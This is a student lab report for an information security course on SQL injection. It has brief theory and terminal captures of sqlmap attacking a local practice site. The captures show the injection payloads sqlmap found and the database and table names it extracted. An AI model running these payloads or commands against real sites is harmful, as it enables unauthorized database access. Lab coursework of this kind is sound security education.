

NAME: PRERNA SUNIL JADHAV

SAP ID: 60004220127

BATCH: COMPUTER ENGINEERING

COURSE: INFORMATION SECURITY LABORATORY

COURSE CODE: DT19CEL603

EXPERIMENT 11

AIM: Perform SQL Injection

THEORY: SQL Injection (SQLi) is a type of an injection attack that makes it possible to execute malicious SQL statements. These statements control a database server, behind a web application. Attackers can use SQL Injection vulnerabilities to bypass applications security measures. They can go around authentication and authorization of a web page application and retrieve the content of the entire SQL database. They can also use SQL Injection to add, modify and delete records in the database.

An SQL Injection vulnerability may affect any website or web application that uses an SQL database such as MySQL. Oracle SQL server or allow criminals may use it to gain unauthorized access to your sensitive data.

CONCLUSION: Thus, we have learnt and performed SQL Injection attack.



Academic Year: 2022-2023

Name:	Prerna Sunil Jadhav
Sap Id:	60004220127
Class:	T. Y. B. Tech (Computer Engineering)
Course:	Information Security Laboratory
Course Code:	DJ19CEL603
Experiment No.:	11

AIM: Perform SQL Injection.

```
HackingFlix)-[~]
$ sqlmap -h

Usage: python3 sqlmap [options]

Options:
  -h, --help                Show basic help message and exit
  -hh                        Show advanced help message and exit
  --version                  Show program's version number and exit
  -v VERBOSE                 Verbosity level: 0-6 (default 1)

Target:
  At least one of these options has to be provided to define the
  target(s)

  -u URL, --url=URL          Target URL (e.g. "http://www.site.com/vuln.php?id=1")
  -g GOOGLEDORK              Process Google dork results as target URLs

Request:
```

```
File Actions Edit View Help
[12:19:26] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[12:19:26] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[12:19:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:19:32] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[12:19:32] [INFO] testing 'Generic inline queries'
[12:19:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[12:19:32] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable (with --string="Your")
[12:19:32] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[12:19:32] [INFO] GET parameter 'id' is 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' injectable
[12:19:32] [INFO] testing 'MySQL inline queries'
[12:19:32] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[12:19:32] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[12:19:32] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[12:19:32] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[12:19:32] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[12:19:32] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[12:19:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[12:19:42] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[12:19:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[12:19:42] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[12:19:42] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
```



Academic Year: 2022-2023

```
File Actions Edit View Help
lums. Automatically extending the range for current UNION query injection technique test
[12:19:43] [INFO] target URL appears to have 3 columns in query
[12:19:43] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 69 HTTP(s) requests:
---
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
  Payload: id=1" AND 3496=3496#

  Type: error-based
  Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
  Payload: id=1" AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7162786271,(SELECT (ELT(3301=3301,1))),0x71787a7671,0x78))s),
8446744073709551610, 8446744073709551610))) AND ("itvh"="itvh

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=1" AND (SELECT 3493 FROM (SELECT(SLEEP(5)))Tiqv) AND ("crWE"="crWE

  Type: UNION query
  Title: MySQL UNION query (NULL) - 3 columns
  Payload: id=-5328") UNION ALL SELECT NULL,NULL,CONCAT(0x7162786271,0x434a476f4156714f7669656b4259536d665a724b6b7468796c69556d4f4
c78566e525a4a524b6e4b,0x71787a7671)#
---
[12:19:51] [INFO] the back-end DBMS is MySQL
```

```
---
[12:19:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[12:19:51] [INFO] fetching database names
[12:19:51] [WARNING] the SQL query provided does not return any output
[12:19:51] [INFO] retrieved: 'information_schema'
[12:19:51] [INFO] retrieved: 'challenges'
[12:19:51] [INFO] retrieved: 'mysql'
[12:19:51] [INFO] retrieved: 'performance_schema'
[12:19:51] [INFO] retrieved: 'security'
available databases [5]:
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security

[12:19:51] [INFO] fetched data logged to text files under '/home/aakash/.local/share/sqlmap/output/localhost'
[*] ending @ 12:19:51 /2021-04-21/
```

```
@HackingFlix)-[-]
$ sqlmap -u "http://localhost/Less-4/?id=1" -D security --tables

[1.5.2#stable]
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibi
lity to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or
damage caused by this program

[*] starting @ 12:24:18 /2021-04-21/

[12:24:18] [INFO] resuming back-end DBMS 'mysql'
[12:24:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
  Payload: id=1" AND 3496=3496#
```



```
File Actions Edit View Help
c78566e525a4a524b6e4b,0x71787a7671)#
---
[12:24:19] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[12:24:19] [INFO] fetching tables for database: 'security'
[12:24:19] [INFO] retrieved: 'emails'
[12:24:19] [INFO] retrieved: 'referers'
[12:24:19] [INFO] retrieved: 'uagents'
[12:24:19] [INFO] retrieved: 'users'
Database: security
[4 tables]
+-----+
| emails |
| referers |
| uagents |
| users |
+-----+
```

CONCLUSION

Thus, we have successfully studied SQL injection and implemented basic injections to check out the data in server with Kali Linux using SQL map.